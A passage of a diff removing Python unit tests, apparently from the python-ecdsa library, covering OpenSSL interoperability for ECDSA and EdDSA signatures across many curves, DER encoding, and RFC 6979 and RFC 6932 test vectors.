t/data.txt" % mdarg - ) - run_openssl( - "dgst %s -verify t/pubkey.pem -signature t/data.sig t/data.txt" - % mdarg - ) - with open("t/pubkey.pem", "rb") as e: - pubkey_pem = e.read() - vk = VerifyingKey.from_pem(pubkey_pem) # 3 - with open("t/data.sig", "rb") as e: - sig_der = e.read() - self.assertTrue( - vk.verify( - sig_der, - data, # 5 - hashfunc=partial(hashlib.new, hash_name), - sigdecode=sigdecode_der, - ) - ) - - with open("t/privkey.pem") as e: - fp = e.read() - sk = SigningKey.from_pem(fp) # 1 - sig = sk.sign(data, hashfunc=partial(hashlib.new, hash_name)) - self.assertTrue( - vk.verify(sig, data, hashfunc=partial(hashlib.new, hash_name)) - ) - - run_openssl( - "pkcs8 -topk8 -nocrypt " - "-in t/privkey.pem -outform pem -out t/privkey-p8.pem" - ) - with open("t/privkey-p8.pem", "rb") as e: - privkey_p8_pem = e.read() - sk_from_p8 = SigningKey.from_pem(privkey_p8_pem) - self.assertEqual(sk, sk_from_p8) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp112r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp112r1", - ) - def test_to_openssl_secp112r1(self): - self.do_test_to_openssl(SECP112r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp112r2" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp112r2", - ) - def test_to_openssl_secp112r2(self): - self.do_test_to_openssl(SECP112r2) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp128r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp128r1", - ) - def test_to_openssl_secp128r1(self): - self.do_test_to_openssl(SECP128r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp160r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp160r1", - ) - def test_to_openssl_secp160r1(self): - self.do_test_to_openssl(SECP160r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_to_openssl_nist192p(self): - self.do_test_to_openssl(NIST192p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_to_openssl_nist192p_sha256(self): - self.do_test_to_openssl(NIST192p, "SHA256") - - @pytest.mark.slow - @pytest.mark.skipif( - "secp224r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp224r1", - ) - def test_to_openssl_nist224p(self): - self.do_test_to_openssl(NIST224p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_to_openssl_nist256p(self): - self.do_test_to_openssl(NIST256p) - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_to_openssl_nist256p_sha384(self): - self.do_test_to_openssl(NIST256p, "SHA384") - - @pytest.mark.slow - @pytest.mark.skipif( - "prime256v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime256v1", - ) - def test_to_openssl_nist256p_sha512(self): - self.do_test_to_openssl(NIST256p, "SHA512") - - @pytest.mark.slow - @pytest.mark.skipif( - "secp384r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp384r1", - ) - def test_to_openssl_nist384p(self): - self.do_test_to_openssl(NIST384p) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp521r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp521r1", - ) - def test_to_openssl_nist521p(self): - self.do_test_to_openssl(NIST521p) - - @pytest.mark.slow - @pytest.mark.skipif( - "secp256k1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support secp256k1", - ) - def test_to_openssl_secp256k1(self): - self.do_test_to_openssl(SECP256k1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP160r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP160r1", - ) - def test_to_openssl_brainpoolp160r1(self): - self.do_test_to_openssl(BRAINPOOLP160r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP192r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP192r1", - ) - def test_to_openssl_brainpoolp192r1(self): - self.do_test_to_openssl(BRAINPOOLP192r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP224r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP224r1", - ) - def test_to_openssl_brainpoolp224r1(self): - self.do_test_to_openssl(BRAINPOOLP224r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP256r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP256r1", - ) - def test_to_openssl_brainpoolp256r1(self): - self.do_test_to_openssl(BRAINPOOLP256r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP320r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP320r1", - ) - def test_to_openssl_brainpoolp320r1(self): - self.do_test_to_openssl(BRAINPOOLP320r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP384r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP384r1", - ) - def test_to_openssl_brainpoolp384r1(self): - self.do_test_to_openssl(BRAINPOOLP384r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP512r1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP512r1", - ) - def test_to_openssl_brainpoolp512r1(self): - self.do_test_to_openssl(BRAINPOOLP512r1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP160t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP160t1", - ) - def test_to_openssl_brainpoolp160t1(self): - self.do_test_to_openssl(BRAINPOOLP160t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP192t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP192t1", - ) - def test_to_openssl_brainpoolp192t1(self): - self.do_test_to_openssl(BRAINPOOLP192t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP224t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP224t1", - ) - def test_to_openssl_brainpoolp224t1(self): - self.do_test_to_openssl(BRAINPOOLP224t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP256t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP256t1", - ) - def test_to_openssl_brainpoolp256t1(self): - self.do_test_to_openssl(BRAINPOOLP256t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP320t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP320t1", - ) - def test_to_openssl_brainpoolp320t1(self): - self.do_test_to_openssl(BRAINPOOLP320t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP384t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP384t1", - ) - def test_to_openssl_brainpoolp384t1(self): - self.do_test_to_openssl(BRAINPOOLP384t1) - - @pytest.mark.slow - @pytest.mark.skipif( - "brainpoolP512t1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support brainpoolP512t1", - ) - def test_to_openssl_brainpoolp512t1(self): - self.do_test_to_openssl(BRAINPOOLP512t1) - - def do_test_to_openssl(self, curve, hash_name="SHA1"): - curvename = curve.openssl_name - assert curvename - # Python: create sk, vk, sign. - # OpenSSL: read vk(4), checksig(6), read sk(2), sign, check - mdarg = self.get_openssl_messagedigest_arg(hash_name) - if os.path.isdir("t"): # pragma: no cover - shutil.rmtree("t") - os.mkdir("t") - sk = SigningKey.generate(curve=curve) - vk = sk.get_verifying_key() - data = b"data" - with open("t/pubkey.der", "wb") as e: - e.write(vk.to_der()) # 4 - with open("t/pubkey.pem", "wb") as e: - e.write(vk.to_pem()) # 4 - sig_der = sk.sign( - data, - hashfunc=partial(hashlib.new, hash_name), - sigencode=sigencode_der, - ) - - with open("t/data.sig", "wb") as e: - e.write(sig_der) # 6 - with open("t/data.txt", "wb") as e: - e.write(data) - with open("t/baddata.txt", "wb") as e: - e.write(data + b"corrupt") - - self.assertRaises( - SubprocessError, - run_openssl, - "dgst %s -verify t/pubkey.der -keyform DER -signature t/data.sig t/baddata.txt" - % mdarg, - ) - run_openssl( - "dgst %s -verify t/pubkey.der -keyform DER -signature t/data.sig t/data.txt" - % mdarg - ) - - with open("t/privkey.pem", "wb") as e: - e.write(sk.to_pem()) # 2 - run_openssl( - "dgst %s -sign t/privkey.pem -out t/data.sig2 t/data.txt" % mdarg - ) - run_openssl( - "dgst %s -verify t/pubkey.pem -signature t/data.sig2 t/data.txt" - % mdarg - ) - - with open("t/privkey-explicit.pem", "wb") as e: - e.write(sk.to_pem(curve_parameters_encoding="explicit")) - run_openssl( - "dgst %s -sign t/privkey-explicit.pem -out t/data.sig2 t/data.txt" - % mdarg - ) - run_openssl( - "dgst %s -verify t/pubkey.pem -signature t/data.sig2 t/data.txt" - % mdarg - ) - - with open("t/privkey-p8.pem", "wb") as e: - e.write(sk.to_pem(format="pkcs8")) - run_openssl( - "dgst %s -sign t/privkey-p8.pem -out t/data.sig3 t/data.txt" - % mdarg - ) - run_openssl( - "dgst %s -verify t/pubkey.pem -signature t/data.sig3 t/data.txt" - % mdarg - ) - - with open("t/privkey-p8-explicit.pem", "wb") as e: - e.write( - sk.to_pem(format="pkcs8", curve_parameters_encoding="explicit") - ) - run_openssl( - "dgst %s -sign t/privkey-p8-explicit.pem -out t/data.sig3 t/data.txt" - % mdarg - ) - run_openssl( - "dgst %s -verify t/pubkey.pem -signature t/data.sig3 t/data.txt" - % mdarg - ) - - OPENSSL_SUPPORTED_TYPES = set() - try: - if "-rawin" in run_openssl("pkeyutl -help"): - OPENSSL_SUPPORTED_TYPES = set( # pragma: no branch - c.lower() - for c in ("ED25519", "ED448") - if c in run_openssl("list -public-key-methods") - ) - except SubprocessError: # pragma: no cover - pass - - def do_eddsa_test_to_openssl(self, curve): - if os.path.isdir("t"): - shutil.rmtree("t") - os.mkdir("t") - - sk = SigningKey.generate(curve=curve) - vk = sk.get_verifying_key() - - data = b"data" - with open("t/pubkey.der", "wb") as e: - e.write(vk.to_der()) - with open("t/pubkey.pem", "wb") as e: - e.write(vk.to_pem()) - - sig = sk.sign(data) - - with open("t/data.sig", "wb") as e: - e.write(sig) - with open("t/data.txt", "wb") as e: - e.write(data) - with open("t/baddata.txt", "wb") as e: - e.write(data + b"corrupt") - - with self.assertRaises(SubprocessError): - run_openssl( - "pkeyutl -verify -pubin -inkey t/pubkey.pem -rawin " - "-in t/baddata.txt -sigfile t/data.sig" - ) - run_openssl( - "pkeyutl -verify -pubin -inkey t/pubkey.pem -rawin " - "-in t/data.txt -sigfile t/data.sig" - ) - - shutil.rmtree("t") - - # in practice at least OpenSSL 3.0.0 is needed to make EdDSA signatures - # earlier versions support EdDSA only in X.509 certificates - @pytest.mark.slow - @pytest.mark.skipif( - "ed25519" not in OPENSSL_SUPPORTED_TYPES, - reason="system openssl does not support signing with Ed25519", - ) - def test_to_openssl_ed25519(self): - return self.do_eddsa_test_to_openssl(Ed25519) - - @pytest.mark.slow - @pytest.mark.skipif( - "ed448" not in OPENSSL_SUPPORTED_TYPES, - reason="system openssl does not support signing with Ed448", - ) - def test_to_openssl_ed448(self): - return self.do_eddsa_test_to_openssl(Ed448) - - def do_eddsa_test_from_openssl(self, curve): - curvename = curve.name - - if os.path.isdir("t"): - shutil.rmtree("t") - os.mkdir("t") - - data = b"data" - - run_openssl( - "genpkey -algorithm {0} -outform PEM -out t/privkey.pem".format( - curvename - ) - ) - run_openssl( - "pkey -outform PEM -pubout -in t/privkey.pem -out t/pubkey.pem" - ) - - with open("t/data.txt", "wb") as e: - e.write(data) - run_openssl( - "pkeyutl -sign -inkey t/privkey.pem " - "-rawin -in t/data.txt -out t/data.sig" - ) - - with open("t/data.sig", "rb") as e: - sig = e.read() - with open("t/pubkey.pem", "rb") as e: - vk = VerifyingKey.from_pem(e.read()) - - self.assertIs(vk.curve, curve) - - vk.verify(sig, data) - - shutil.rmtree("t") - - @pytest.mark.slow - @pytest.mark.skipif( - "ed25519" not in OPENSSL_SUPPORTED_TYPES, - reason="system openssl does not support signing with Ed25519", - ) - def test_from_openssl_ed25519(self): - return self.do_eddsa_test_from_openssl(Ed25519) - - @pytest.mark.slow - @pytest.mark.skipif( - "ed448" not in OPENSSL_SUPPORTED_TYPES, - reason="system openssl does not support signing with Ed448", - ) - def test_from_openssl_ed448(self): - return self.do_eddsa_test_from_openssl(Ed448) - - -class TooSmallCurve(unittest.TestCase): - OPENSSL_SUPPORTED_CURVES = set( - c.split(":")[0].strip() - for c in run_openssl("ecparam -list_curves").split("\n") - ) - - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_sign_too_small_curve_dont_allow_truncate_raises(self): - sk = SigningKey.generate(curve=NIST192p) - data = b"data" - with self.assertRaises(BadDigestError): - sk.sign( - data, - hashfunc=partial(hashlib.new, "SHA256"), - sigencode=sigencode_der, - allow_truncate=False, - ) - - @pytest.mark.skipif( - "prime192v1" not in OPENSSL_SUPPORTED_CURVES, - reason="system openssl does not support prime192v1", - ) - def test_verify_too_small_curve_dont_allow_truncate_raises(self): - sk = SigningKey.generate(curve=NIST192p) - vk = sk.get_verifying_key() - data = b"data" - sig_der = sk.sign( - data, - hashfunc=partial(hashlib.new, "SHA256"), - sigencode=sigencode_der, - allow_truncate=True, - ) - with self.assertRaises(BadDigestError): - vk.verify( - sig_der, - data, - hashfunc=partial(hashlib.new, "SHA256"), - sigdecode=sigdecode_der, - allow_truncate=False, - ) - - -class DER(unittest.TestCase): - def test_integer(self): - self.assertEqual(der.encode_integer(0), b"\x02\x01\x00") - self.assertEqual(der.encode_integer(1), b"\x02\x01\x01") - self.assertEqual(der.encode_integer(127), b"\x02\x01\x7f") - self.assertEqual(der.encode_integer(128), b"\x02\x02\x00\x80") - self.assertEqual(der.encode_integer(256), b"\x02\x02\x01\x00") - # self.assertEqual(der.encode_integer(-1), b"\x02\x01\xff") - - def s(n): - return der.remove_integer(der.encode_integer(n) + b"junk") - - self.assertEqual(s(0), (0, b"junk")) - self.assertEqual(s(1), (1, b"junk")) - self.assertEqual(s(127), (127, b"junk")) - self.assertEqual(s(128), (128, b"junk")) - self.assertEqual(s(256), (256, b"junk")) - self.assertEqual( - s(1234567890123456789012345678901234567890), - (1234567890123456789012345678901234567890, b"junk"), - ) - - def test_number(self): - self.assertEqual(der.encode_number(0), b"\x00") - self.assertEqual(der.encode_number(127), b"\x7f") - self.assertEqual(der.encode_number(128), b"\x81\x00") - self.assertEqual(der.encode_number(3 * 128 + 7), b"\x83\x07") - # self.assertEqual(der.read_number("\x81\x9b" + "more"), (155, 2)) - # self.assertEqual(der.encode_number(155), b"\x81\x9b") - for n in (0, 1, 2, 127, 128, 3 * 128 + 7, 840, 10045): # , 155): - x = der.encode_number(n) + b"more" - n1, llen = der.read_number(x) - self.assertEqual(n1, n) - self.assertEqual(x[llen:], b"more") - - def test_length(self): - self.assertEqual(der.encode_length(0), b"\x00") - self.assertEqual(der.encode_length(127), b"\x7f") - self.assertEqual(der.encode_length(128), b"\x81\x80") - self.assertEqual(der.encode_length(255), b"\x81\xff") - self.assertEqual(der.encode_length(256), b"\x82\x01\x00") - self.assertEqual(der.encode_length(3 * 256 + 7), b"\x82\x03\x07") - self.assertEqual(der.read_length(b"\x81\x9b" + b"more"), (155, 2)) - self.assertEqual(der.encode_length(155), b"\x81\x9b") - for n in (0, 1, 2, 127, 128, 255, 256, 3 * 256 + 7, 155): - x = der.encode_length(n) + b"more" - n1, llen = der.read_length(x) - self.assertEqual(n1, n) - self.assertEqual(x[llen:], b"more") - - def test_sequence(self): - x = der.encode_sequence(b"ABC", b"DEF") + b"GHI" - self.assertEqual(x, b"\x30\x06ABCDEFGHI") - x1, rest = der.remove_sequence(x) - self.assertEqual(x1, b"ABCDEF") - self.assertEqual(rest, b"GHI") - - def test_constructed(self): - x = der.encode_constructed(0, NIST224p.encoded_oid) - self.assertEqual(hexlify(x), b"a007" + b"06052b81040021") - x = der.encode_constructed(1, unhexlify(b"0102030a0b0c")) - self.assertEqual(hexlify(x), b"a106" + b"0102030a0b0c") - - -class Util(unittest.TestCase): - @pytest.mark.slow - def test_trytryagain(self): - tta = util.randrange_from_seed__trytryagain - for i in range(1000): - seed = "seed-%d" % i - for order in ( - 2**8 - 2, - 2**8 - 1, - 2**8, - 2**8 + 1, - 2**8 + 2, - 2**16 - 1, - 2**16 + 1, - ): - n = tta(seed, order) - self.assertTrue(1 <= n < order, (1, n, order)) - # this trytryagain *does* provide long-term stability - self.assertEqual( - ("%x" % (tta("seed", NIST224p.order))).encode(), - b"6fa59d73bf0446ae8743cf748fc5ac11d5585a90356417e97155c3bc", - ) - - def test_trytryagain_single(self): - tta = util.randrange_from_seed__trytryagain - order = 2**8 - 2 - seed = b"text" - n = tta(seed, order) - # known issue: https://github.com/warner/python-ecdsa/issues/221 - if sys.version_info < (3, 0): # pragma: no branch - self.assertEqual(n, 228) - else: # pragma: no branch - self.assertEqual(n, 18) - - @settings(**HYP_SETTINGS) - @given(st.integers(min_value=0, max_value=10**200)) - def test_randrange(self, i): - # util.randrange does not provide long-term stability: we might - # change the algorithm in the future. - entropy = util.PRNG("seed-%d" % i) - for order in ( - 2**8 - 2, - 2**8 - 1, - 2**8, - 2**16 - 1, - 2**16 + 1, - ): - # that oddball 2**16+1 takes half our runtime - n = util.randrange(order, entropy=entropy) - self.assertTrue(1 <= n < order, (1, n, order)) - - def OFF_test_prove_uniformity(self): # pragma: no cover - order = 2**8 - 2 - counts = dict([(i, 0) for i in range(1, order)]) - assert 0 not in counts - assert order not in counts - for i in range(1000000): - seed = "seed-%d" % i - n = util.randrange_from_seed__trytryagain(seed, order) - counts[n] += 1 - # this technique should use the full range - self.assertTrue(counts[order - 1]) - for i in range(1, order): - print("%3d: %s" % (i, "*" * (counts[i] // 100))) - - -class RFC6979(unittest.TestCase): - # https://tools.ietf.org/html/rfc6979#appendix-A.1 - def _do(self, generator, secexp, hsh, hash_func, expected): - actual = rfc6979.generate_k(generator.order(), secexp, hash_func, hsh) - self.assertEqual(expected, actual) - - def test_SECP256k1(self): - """RFC doesn't contain test vectors for SECP256k1 used in bitcoin. - This vector has been computed by Golang reference implementation instead.""" - self._do( - generator=SECP256k1.generator, - secexp=int("9d0219792467d7d37b4d43298a7d0c05", 16), - hsh=hashlib.sha256(b"sample").digest(), - hash_func=hashlib.sha256, - expected=int( - "8fa1f95d514760e498f28957b824ee6ec39ed64826ff4fecc2b5739ec45b91cd", - 16, - ), - ) - - def test_SECP256k1_2(self): - self._do( - generator=SECP256k1.generator, - secexp=int( - "cca9fbcc1b41e5a95d369eaa6ddcff73b61a4efaa279cfc6567e8daa39cbaf50", - 16, - ), - hsh=hashlib.sha256(b"sample").digest(), - hash_func=hashlib.sha256, - expected=int( - "2df40ca70e639d89528a6b670d9d48d9165fdc0febc0974056bdce192b8e16a3", - 16, - ), - ) - - def test_SECP256k1_3(self): - self._do( - generator=SECP256k1.generator, - secexp=0x1, - hsh=hashlib.sha256(b"Satoshi Nakamoto").digest(), - hash_func=hashlib.sha256, - expected=0x8F8A276C19F4149656B280621E358CCE24F5F52542772691EE69063B74F15D15, - ) - - def test_SECP256k1_4(self): - self._do( - generator=SECP256k1.generator, - secexp=0x1, - hsh=hashlib.sha256( - b"All those moments will be lost in time, like tears in rain. Time to die..." - ).digest(), - hash_func=hashlib.sha256, - expected=0x38AA22D72376B4DBC472E06C3BA403EE0A394DA63FC58D88686C611ABA98D6B3, - ) - - def test_SECP256k1_5(self): - self._do( - generator=SECP256k1.generator, - secexp=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364140, - hsh=hashlib.sha256(b"Satoshi Nakamoto").digest(), - hash_func=hashlib.sha256, - expected=0x33A19B60E25FB6F4435AF53A3D42D493644827367E6453928554F43E49AA6F90, - ) - - def test_SECP256k1_6(self): - self._do( - generator=SECP256k1.generator, - secexp=0xF8B8AF8CE3C7CCA5E300D33939540C10D45CE001B8F252BFBC57BA0342904181, - hsh=hashlib.sha256(b"Alan Turing").digest(), - hash_func=hashlib.sha256, - expected=0x525A82B70E67874398067543FD84C83D30C175FDC45FDEEE082FE13B1D7CFDF1, - ) - - def test_1(self): - # Basic example of the RFC, it also tests 'try-try-again' from Step H of rfc6979 - self._do( - generator=Point( - None, - 0, - 0, - int("4000000000000000000020108A2E0CC0D99F8A5EF", 16), - ), - secexp=int("09A4D6792295A7F730FC3F2B49CBC0F62E862272F", 16), - hsh=unhexlify( - b"AF2BDBE1AA9B6EC1E2ADE1D694F41FC71A831D0268E9891562113D8A62ADD1BF" - ), - hash_func=hashlib.sha256, - expected=int("23AF4074C90A02B3FE61D286D5C87F425E6BDD81B", 16), - ) - - def test_2(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha1(b"sample").digest(), - hash_func=hashlib.sha1, - expected=int( - "37D7CA00D2C7B0E5E412AC03BD44BA837FDD5B28CD3B0021", 16 - ), - ) - - def test_3(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha256(b"sample").digest(), - hash_func=hashlib.sha256, - expected=int( - "32B1B6D7D42A05CB449065727A84804FB1A3E34D8F261496", 16 - ), - ) - - def test_4(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha512(b"sample").digest(), - hash_func=hashlib.sha512, - expected=int( - "A2AC7AB055E4F20692D49209544C203A7D1F2C0BFBC75DB1", 16 - ), - ) - - def test_5(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha1(b"test").digest(), - hash_func=hashlib.sha1, - expected=int( - "D9CF9C3D3297D3260773A1DA7418DB5537AB8DD93DE7FA25", 16 - ), - ) - - def test_6(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha256(b"test").digest(), - hash_func=hashlib.sha256, - expected=int( - "5C4CE89CF56D9E7C77C8585339B006B97B5F0680B4306C6C", 16 - ), - ) - - def test_7(self): - self._do( - generator=NIST192p.generator, - secexp=int("6FAB034934E4C0FC9AE67F5B5659A9D7D1FEFD187EE09FD4", 16), - hsh=hashlib.sha512(b"test").digest(), - hash_func=hashlib.sha512, - expected=int( - "0758753A5254759C7CFBAD2E2D9B0792EEE44136C9480527", 16 - ), - ) - - def test_8(self): - self._do( - generator=NIST521p.generator, - secexp=int( - "0FAD06DAA62BA3B25D2FB40133DA757205DE67F5BB0018FEE8C86E1B68C7E75CAA896EB32F1F47C70855836A6D16FCC1466F6D8FBEC67DB89EC0C08B0E996B83538", - 16, - ), - hsh=hashlib.sha1(b"sample").digest(), - hash_func=hashlib.sha1, - expected=int( - "089C071B419E1C2820962321787258469511958E80582E95D8378E0C2CCDB3CB42BEDE42F50E3FA3C71F5A76724281D31D9C89F0F91FC1BE4918DB1C03A5838D0F9", - 16, - ), - ) - - def test_9(self): - self._do( - generator=NIST521p.generator, - secexp=int( - "0FAD06DAA62BA3B25D2FB40133DA757205DE67F5BB0018FEE8C86E1B68C7E75CAA896EB32F1F47C70855836A6D16FCC1466F6D8FBEC67DB89EC0C08B0E996B83538", - 16, - ), - hsh=hashlib.sha256(b"sample").digest(), - hash_func=hashlib.sha256, - expected=int( - "0EDF38AFCAAECAB4383358B34D67C9F2216C8382AAEA44A3DAD5FDC9C32575761793FEF24EB0FC276DFC4F6E3EC476752F043CF01415387470BCBD8678ED2C7E1A0", - 16, - ), - ) - - def test_10(self): - self._do( - generator=NIST521p.generator, - secexp=int( - "0FAD06DAA62BA3B25D2FB40133DA757205DE67F5BB0018FEE8C86E1B68C7E75CAA896EB32F1F47C70855836A6D16FCC1466F6D8FBEC67DB89EC0C08B0E996B83538", - 16, - ), - hsh=hashlib.sha512(b"test").digest(), - hash_func=hashlib.sha512, - expected=int( - "16200813020EC986863BEDFC1B121F605C1215645018AEA1A7B215A564DE9EB1B38A67AA1128B80CE391C4FB71187654AAA3431027BFC7F395766CA988C964DC56D", - 16, - ), - ) - - -class ECDH(unittest.TestCase): - def _do(self, curve, generator, dA, x_qA, y_qA, dB, x_qB, y_qB, x_Z, y_Z): - qA = dA * generator - qB = dB * generator - Z = dA * qB - self.assertEqual(Point(curve, x_qA, y_qA), qA) - self.assertEqual(Point(curve, x_qB, y_qB), qB) - self.assertTrue( - (dA * qB) - == (dA * dB * generator) - == (dB * dA * generator) - == (dB * qA) - ) - self.assertEqual(Point(curve, x_Z, y_Z), Z) - - -class RFC6932(ECDH): - # https://tools.ietf.org/html/rfc6932#appendix-A.1 - - def test_brainpoolP224r1(self): - self._do( - curve=curve_brainpoolp224r1, - generator=BRAINPOOLP224r1.generator, - dA=int( - "7C4B7A2C8A4BAD1FBB7D79CC0955DB7C6A4660CA64CC4778159B495E", 16 - ), - x_qA=int( - "B104A67A6F6E85E14EC1825E1539E8ECDBBF584922367DD88C6BDCF2", 16 - ), - y_qA=int( - "46D782E7FDB5F60CD8404301AC5949C58EDB26BC68BA07695B750A94", 16 - ), - dB=int( - "63976D4AAE6CD0F6DD18DEFEF55D96569D0507C03E74D6486FFA28FB", 16 - ), - x_qB=int( - "2A97089A9296147B71B21A4B574E1278245B536F14D8C2B9D07A874E", 16 - ), - y_qB=int( - "9B900D7C77A709A797276B8CA1BA61BB95B546FC29F862E44D59D25B", 16 - ), - x_Z=int( - "312DFD98783F9FB77B9704945A73BEB6DCCBE3B65D0F967DCAB574EB", 16 - ), - y_Z=int( - "6F800811D64114B1C48C621AB3357CF93F496E4238696A2A012B3C98", 16 - ), - ) - - def test_brainpoolP256r1(self): - self._do( - curve=curve_brainpoolp256r1, - generator=BRAINPOOLP256r1.generator, - dA=int( - "041EB8B1E2BC681BCE8E39963B2E9FC415B05283313DD1A8BCC055F11AE" - "49699", - 16, - ), - x_qA=int( - "78028496B5ECAAB3C8B6C12E45DB1E02C9E4D26B4113BC4F015F60C5C" - "CC0D206", - 16, - ), - y_qA=int( - "A2AE1762A3831C1D20F03F8D1E3C0C39AFE6F09B4D44BBE80CD100987" - "B05F92B", - 16, - ), - dB=int( - "06F5240EACDB9837BC96D48274C8AA834B6C87BA9CC3EEDD81F99A16B8D" - "804D3", - 16, - ), - x_qB=int( - "8E07E219BA588916C5B06AA30A2F464C2F2ACFC1610A3BE2FB240B635" - "341F0DB", - 16, - ), - y_qB=int( - "148EA1D7D1E7E54B9555B6C9AC90629C18B63BEE5D7AA6949EBBF47B2" - "4FDE40D", - 16, - ), - x_Z=int( - "05E940915549E9F6A4A75693716E37466ABA79B4BF2919877A16DD2CC2" - "E23708", - 16, - ), - y_Z=int( - "6BC23B6702BC5A019438CEEA107DAAD8B94232FFBBC350F3B137628FE6" - "FD134C", - 16, - ), - ) - - @pytest.mark.slow - def test_brainpoolP384r1(self): - self._do( - curve=curve_brainpoolp384r1, - generator=BRAINPOOLP384r1.generator, - dA=int( - "014EC0755B78594BA47FB0A56F6173045B4331E74BA1A6F47322E70D79D" - "828D97E095884CA72B73FDABD5910DF0FA76A", - 16, - ), - x_qA=int( - "45CB26E4384DAF6FB776885307B9A38B7AD1B5C692E0C32F012533277" - "8F3B8D3F50CA358099B30DEB5EE69A95C058B4E", - 16, - ), - y_qA=int( - "8173A1C54AFFA7E781D0E1E1D12C0DC2B74F4DF58E4A4E3AF7026C5D3" - "2DC530A2CD89C859BB4B4B768497F49AB8CC859", - 16, - ), - dB=int( - "6B461CB79BD0EA519A87D6828815D8CE7CD9B3CAA0B5A8262CBCD550A01" - "5C90095B976F3529957506E1224A861711D54", - 16, - ), - x_qB=int( - "01BF92A92EE4BE8DED1A911125C209B03F99E3161CFCC986DC7711383" - "FC30AF9CE28CA3386D59E2C8D72CE1E7B4666E8", - 16, - ), - y_qB=int( - "3289C4A3A4FEE035E39BDB885D509D224A142FF9FBCC5CFE5CCBB3026" - "8EE47487ED8044858D31D848F7A95C635A347AC", - 16, - ), - x_Z=int( - "04CC4FF3DCCCB07AF24E0ACC529955B36D7C807772B92FCBE48F3AFE9A" - "2F370A1F98D3FA73FD0C0747C632E12F1423EC", - 16, - ), - y_Z=int( - "7F465F90BD69AFB8F828A214EB9716D66ABC59F17AF7C75EE7F1DE22AB" - "5D05085F5A01A9382D05BF72D96698FE3FF64E", - 16, - ), - ) - - @pytest.mark.slow - def test_brainpoolP512r1(self): - self._do( - curve=curve_brainpoolp512r1, - generator=BRAINPOOLP512r1.generator, - dA=int( - "636B6BE0482A6C1C41AA7AE7B245E983392DB94CECEA2660A379CFE1595" - "59E357581825391175FC195D28BAC0CF03A7841A383B95C262B98378287" - "4CCE6FE333", - 16, - ), - x_qA=int( - "0562E68B9AF7CBFD5565C6B16883B777FF11C199161ECC427A39D17EC" - "2166499389571D6A994977C56AD8252658BA8A1B72AE42F4FB7532151" - "AFC3EF0971CCDA", - 